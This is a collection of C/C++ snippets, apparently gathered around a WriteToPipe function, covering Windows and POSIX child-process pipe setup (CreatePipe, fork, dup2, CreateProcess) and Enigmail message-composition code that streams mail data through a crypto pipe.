CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0)) ErrorExit("Stdin pipe creation failed\n"); // Set a read handle to the pipe to be STDIN. if (! SetStdHandle(STD_INPUT_HANDLE, hChildStdinRd)) ErrorExit("Redirecting Stdin failed"); // Duplicate the write handle to the pipe so it is not inherited. fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdinWr, GetCurrentProcess(), &hChildStdinWrDup, 0, FALSE, // not inherited DUPLICATE_SAME_ACCESS); if (! fSuccess) ErrorExit("DuplicateHandle failed"); CloseHandle(hChildStdinWr); // Now create the child process. if (! CreateChildProcess()) ErrorExit("Create process failed"); // After process creation, restore the saved STDIN and STDOUT. if (! SetStdHandle(STD_INPUT_HANDLE, hSaveStdin)) ErrorExit("Re-redirecting Stdin failed\n"); if (! SetStdHandle(STD_OUTPUT_HANDLE, hSaveStdout)) ErrorExit("Re-redirecting Stdout failed\n"); // Get a handle to the parent's input file. if (argc > 1) hInputFile = CreateFile(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); else hInputFile = hSaveStdin; if (hInputFile == INVALID_HANDLE_VALUE) ErrorExit("no input file\n"); // Write to pipe that is the standard input for a child process. WriteToPipe(); // Read from pipe that is the standard output for child process. ReadFromPipe(); return 0; }
int ForkAndPipe(const char * const argv[], VSILFILE* fin, VSILFILE* fout) { pid_t pid; int pipe_in[2] = { -1, -1 }; int pipe_out[2] = { -1, -1 }; int pipe_err[2] = { -1, -1 }; int i; if (pipe(pipe_in) || pipe(pipe_out) || pipe(pipe_err)) goto err_pipe; pid = fork(); if (pid == 0) { /* Close unused end of pipe */ close(pipe_in[OUT_FOR_PARENT]); close(pipe_out[IN_FOR_PARENT]); close(pipe_err[IN_FOR_PARENT]); dup2(pipe_in[IN_FOR_PARENT], fileno(stdin)); dup2(pipe_out[OUT_FOR_PARENT], fileno(stdout)); dup2(pipe_err[OUT_FOR_PARENT], fileno(stderr)); execvp(argv[0], (char* const*) argv); char* pszErr = strerror(errno); fprintf(stderr, "An error occured while forking process %s : %s", argv[0], pszErr); exit(1); } else if (pid < 0) { CPLError(CE_Failure, CPLE_AppDefined, "fork() failed"); goto err; } else { /* Close unused end of pipe */ close(pipe_in[IN_FOR_PARENT]); close(pipe_out[OUT_FOR_PARENT]); close(pipe_err[OUT_FOR_PARENT]); /* Ignore SIGPIPE */ #ifdef SIGPIPE signal (SIGPIPE, SIG_IGN); #endif if (fin != NULL) WriteToPipe(fin, pipe_in[OUT_FOR_PARENT]); close(pipe_in[OUT_FOR_PARENT]); if (fout != NULL) ReadFromPipe(pipe_out[IN_FOR_PARENT], fout); close(pipe_out[IN_FOR_PARENT]); CPLString osName; osName.Printf("/vsimem/child_stderr_" CPL_FRMT_GIB, CPLGetPID()); VSILFILE* ferr = VSIFOpenL(osName.c_str(), "w"); ReadFromPipe(pipe_err[IN_FOR_PARENT], ferr); close(pipe_err[IN_FOR_PARENT]); VSIFCloseL(ferr); vsi_l_offset nDataLength = 0; GByte* pData = VSIGetMemFileBuffer(osName.c_str(), &nDataLength, TRUE); if (pData) CPLError(CE_Failure, CPLE_AppDefined, "[%s error] %s", argv[0], pData); CPLFree(pData); while(1) { int status; int ret = waitpid (pid, &status, 0); if (ret < 0) { if (errno != EINTR) { break; } } else break; } return pData == NULL; } err_pipe: CPLError(CE_Failure, CPLE_AppDefined, "Could not create pipe"); err: for(i=0; i<2; i++) { if (pipe_in[i] >= 0) close(pipe_in[i]); if (pipe_out[i] >= 0) close(pipe_out[i]); if (pipe_err[i] >= 0) close(pipe_err[i]); } return FALSE; }
NS_IMETHODIMP nsEnigMsgCompose::OnStartRequest(nsIRequest *aRequest, nsISupports *aContext) { nsresult rv; DEBUG_LOG(("nsEnigMsgCompose::OnStartRequest:\n")); nsCAutoString contentType; rv = mMimeListener->GetContentType(contentType); if (NS_FAILED(rv)) return rv; nsCAutoString contentEncoding; rv = mMimeListener->GetContentEncoding(contentEncoding); if (NS_FAILED(rv)) return rv; nsCAutoString headers; rv = mMimeListener->GetHeaders(headers); if (NS_FAILED(rv)) return rv; if (headers.IsEmpty()) return NS_ERROR_FAILURE; DEBUG_LOG(("nsEnigMsgCompose::OnStartRequest: Content-Type: %s\n", headers.get())); EMBool encapsulate = PR_FALSE; if (mSendFlags & nsIEnigmail::SEND_PGP_MIME) { // RFC2015 crypto encapsulation encapsulate = PR_TRUE; } else if (!contentType.Equals("text/plain", CaseInsensitiveCompare)) { // Force RFC2015 crypto encapsulation for non-plaintext messages encapsulate = PR_TRUE; mSendFlags |= nsIEnigmail::SEND_PGP_MIME; } rv = Init(); if (NS_FAILED(rv)) return rv; if (!mPipeTrans) return NS_OK; if (encapsulate) { // RFC2015 crypto encapsulation for headers // Send headers to crypto processor rv = WriteToPipe(headers.get(), headers.Length()); if (NS_FAILED(rv)) return rv; if (mMultipartSigned) { rv = WriteSignedHeaders1( contentEncoding.Equals("8bit", CaseInsensitiveCompare) ); if (NS_FAILED(rv)) return rv; // Copy original headers to output rv = WriteOut(headers.get(), headers.Length()); if (NS_FAILED(rv)) return rv; } else { rv = WriteEncryptedHeaders(); if (NS_FAILED(rv)) return rv; } } else { // No crypto encapsulation for headers DEBUG_LOG(("nsEnigMsgCompose::OnStartRequest: NO CRYPTO ENCAPSULATION\n")); rv = WriteOut(headers.get(), headers.Length()); if (NS_FAILED(rv)) return rv; if (contentEncoding.Equals("base64", CaseInsensitiveCompare)) { mEncoderData = MimeB64EncoderInit(EnigMsgCompose_write, (void*) mWriter); } else if (contentEncoding.Equals("quoted-printable", CaseInsensitiveCompare)) { mEncoderData = MimeQPEncoderInit(EnigMsgCompose_write, (void*) mWriter); } } return NS_OK; }
int _tmain(int argc, TCHAR *argv[]) { SECURITY_ATTRIBUTES saAttr; printf("\n->Start of parent execution.\n"); // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); // Get a handle to an input file for the parent. // This example assumes a plain text file and uses string output to verify data flow. if (argc == 1) ErrorExit(TEXT("Please specify an input file.\n")); g_hInputFile = CreateFile( argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); if ( g_hInputFile == INVALID_HANDLE_VALUE ) ErrorExit(TEXT("CreateFile")); // Write to the pipe that is the standard input for a child process. // Data is written to the pipe's buffers, so it is not necessary to wait // until the child process is running before writing data. WriteToPipe(); printf( "\n->Contents of %s written to child STDIN pipe.\n", argv[1]); // Read from pipe that is the standard output for child process. printf( "\n->Contents of child process STDOUT:\n\n", argv[1]); ReadFromPipe(); printf("\n->End of parent execution.\n"); // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return 0; }
NS_IMETHODIMP nsEnigMsgCompose::OnDataAvailable(nsIRequest* aRequest, nsISupports* aContext, nsIInputStream *aInputStream, PRUint32 aSourceOffset, PRUint32 aLength) { nsresult rv; DEBUG_LOG(("nsEnigMsgCompose::OnDataAVailable: %d\n", aLength)); if (!mPipeTrans) return NS_ERROR_NOT_INITIALIZED; char buf[kCharMax]; PRUint32 readCount, readMax, writeCount; while (aLength > 0) { readMax = (aLength < kCharMax) ? aLength : kCharMax; rv = aInputStream->Read((char *) buf, readMax, &readCount); if (NS_FAILED(rv)){ DEBUG_LOG(("nsEnigMsgCompose::OnDataAvailable: Error in reading from input stream, %p\n", rv)); return rv; } if (readCount <= 0) return NS_OK; writeCount = readCount; if (mMultipartSigned) { nsCString tmpStr; tmpStr.Assign(buf, readCount); nsCString left(tmpStr); left.SetLength(15); if (left.LowerCaseEqualsLiteral("x-mozilla-keys:")) { DEBUG_LOG(("nsEnigMimeWriter::OnDataAvailable: workaround for 'X-Mozilla-Keys:' header\n")); tmpStr.StripWhitespace(); if (left == tmpStr) { if (buf[readCount-2] == '\r' && buf[readCount-1] == '\n') { tmpStr.Append("\r\n"); } else tmpStr.Append("\n"); rv = WriteToPipe(tmpStr.get(), tmpStr.Length()); if (NS_FAILED(rv)) return rv; rv = WriteOut(tmpStr.get(), tmpStr.Length()); if (NS_FAILED(rv)) return rv; aLength -= readCount; return NS_OK; } } rv = WriteToPipe(buf, readCount); if (NS_FAILED(rv)) return rv; rv = WriteOut(buf, readCount); if (NS_FAILED(rv)) return rv; } else { rv = WriteToPipe(buf, readCount); if (NS_FAILED(rv)) return rv; } aLength -= readCount; } return NS_OK; }
int ForkAndPipe(const char * const argv[], VSILFILE* fin, VSILFILE* fout) { HANDLE pipe_in[2] = {NULL, NULL}; HANDLE pipe_out[2] = {NULL, NULL}; HANDLE pipe_err[2] = {NULL, NULL}; SECURITY_ATTRIBUTES saAttr; PROCESS_INFORMATION piProcInfo; STARTUPINFO siStartInfo; CPLString osCommandLine; int i; CPLString osName; VSILFILE* ferr; vsi_l_offset nDataLength = 0; GByte* pData; saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; if (!CreatePipe(&pipe_in[IN_FOR_PARENT],&pipe_in[OUT_FOR_PARENT],&saAttr, 0)) goto err_pipe; /* The child must not inherit from the write side of the pipe_in */ if (!SetHandleInformation(pipe_in[OUT_FOR_PARENT],HANDLE_FLAG_INHERIT,0)) goto err_pipe; if (!CreatePipe(&pipe_out[IN_FOR_PARENT],&pipe_out[OUT_FOR_PARENT],&saAttr, 0)) goto err_pipe; /* The child must not inherit from the read side of the pipe_out */ if (!SetHandleInformation(pipe_out[IN_FOR_PARENT],HANDLE_FLAG_INHERIT,0)) goto err_pipe; if (!CreatePipe(&pipe_err[IN_FOR_PARENT],&pipe_err[OUT_FOR_PARENT],&saAttr, 0)) goto err_pipe; /* The child must not inherit from the read side of the pipe_err */ if (!SetHandleInformation(pipe_err[IN_FOR_PARENT],HANDLE_FLAG_INHERIT,0)) goto err_pipe; memset(&piProcInfo, 0, sizeof(PROCESS_INFORMATION)); memset(&siStartInfo, 0, sizeof(STARTUPINFO)); siStartInfo.cb = sizeof(STARTUPINFO); siStartInfo.hStdInput = pipe_in[IN_FOR_PARENT]; siStartInfo.hStdOutput = pipe_out[OUT_FOR_PARENT]; siStartInfo.hStdError = pipe_err[OUT_FOR_PARENT]; siStartInfo.dwFlags |= STARTF_USESTDHANDLES; for(i=0; argv[i] != NULL; i++) { if (i > 0) osCommandLine += " "; osCommandLine += argv[i]; } if (!CreateProcess(NULL, (CHAR*)osCommandLine.c_str(), NULL, // process security attributes NULL, // primary thread security attributes TRUE, // handles are inherited 0, // creation flags NULL, // use parent's environment NULL, // use parent's current directory &siStartInfo, &piProcInfo)) { CPLError(CE_Failure, CPLE_AppDefined, "Could not create process %s", osCommandLine.c_str()); goto err; } CloseHandle(piProcInfo.hProcess); CloseHandle(piProcInfo.hThread); CloseHandle(pipe_in[IN_FOR_PARENT]); if (fin != NULL) WriteToPipe(fin, pipe_in[OUT_FOR_PARENT]); CloseHandle(pipe_in[OUT_FOR_PARENT]); CloseHandle(pipe_out[OUT_FOR_PARENT]); if (fout != NULL) ReadFromPipe(pipe_out[IN_FOR_PARENT], fout); osName.Printf("/vsimem/child_stderr_" CPL_FRMT_GIB, CPLGetPID()); ferr = VSIFOpenL(osName.c_str(), "w"); CloseHandle(pipe_err[OUT_FOR_PARENT]); ReadFromPipe(pipe_err[IN_FOR_PARENT], ferr); VSIFCloseL(ferr); pData = VSIGetMemFileBuffer(osName.c_str(), &nDataLength, TRUE); if (pData) CPLError(CE_Failure, CPLE_AppDefined, "[%s error] %s", argv[0], pData); CPLFree(pData); CloseHandle(pipe_out[IN_FOR_PARENT]); CloseHandle(pipe_err[IN_FOR_PARENT]); return pData == NULL; err_pipe: CPLError(CE_Failure, CPLE_AppDefined, "Could not create pipe"); err: for(i=0; i<2; i++) { if (pipe_in[i] != NULL) CloseHandle(pipe_in[i]); if (pipe_out[i] != NULL) CloseHandle(pipe_out[i]); if (pipe_err[i] != NULL) CloseHandle(pipe_err[i]); } return FALSE; }
int _tmain(void) { hStdin = GetStdHandle(STD_INPUT_HANDLE); // STDIN SECURITY_ATTRIBUTES saAttr; printf("\n->Start of parent execution.\n"); // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); // _beginthread(WriteToPipe,0,NULL); //SchreibThread starten // _beginthread(ReadFromPipe,0,NULL);//LeseThread starten for(;;) { WriteToPipe(); // printf( "\n->Contents written to child STDIN pipe.\n"); // Read from pipe that is the standard output for child process. // printf( "\n->Contents of child process STDOUT:\n\n"); ReadFromPipe(); if(exitOnForce) { printf("\n->SYSTEM GOING DOWN!\n"); break; } } //_endthread(); //_endthread(); printf("\n->End of parent execution.\n"); // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return 0; }